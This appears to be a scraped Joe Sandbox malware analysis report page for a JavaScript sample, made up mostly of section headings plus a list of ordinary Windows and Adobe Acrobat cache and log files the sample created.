Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 47011380785516565.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\37342180-4db1-4d71-b582-0ee75a82e4eb.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4c4bcc.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\bcb7369e-6651-4775-b1ff-d9f6728683bf.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3272

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
47011380785516565.js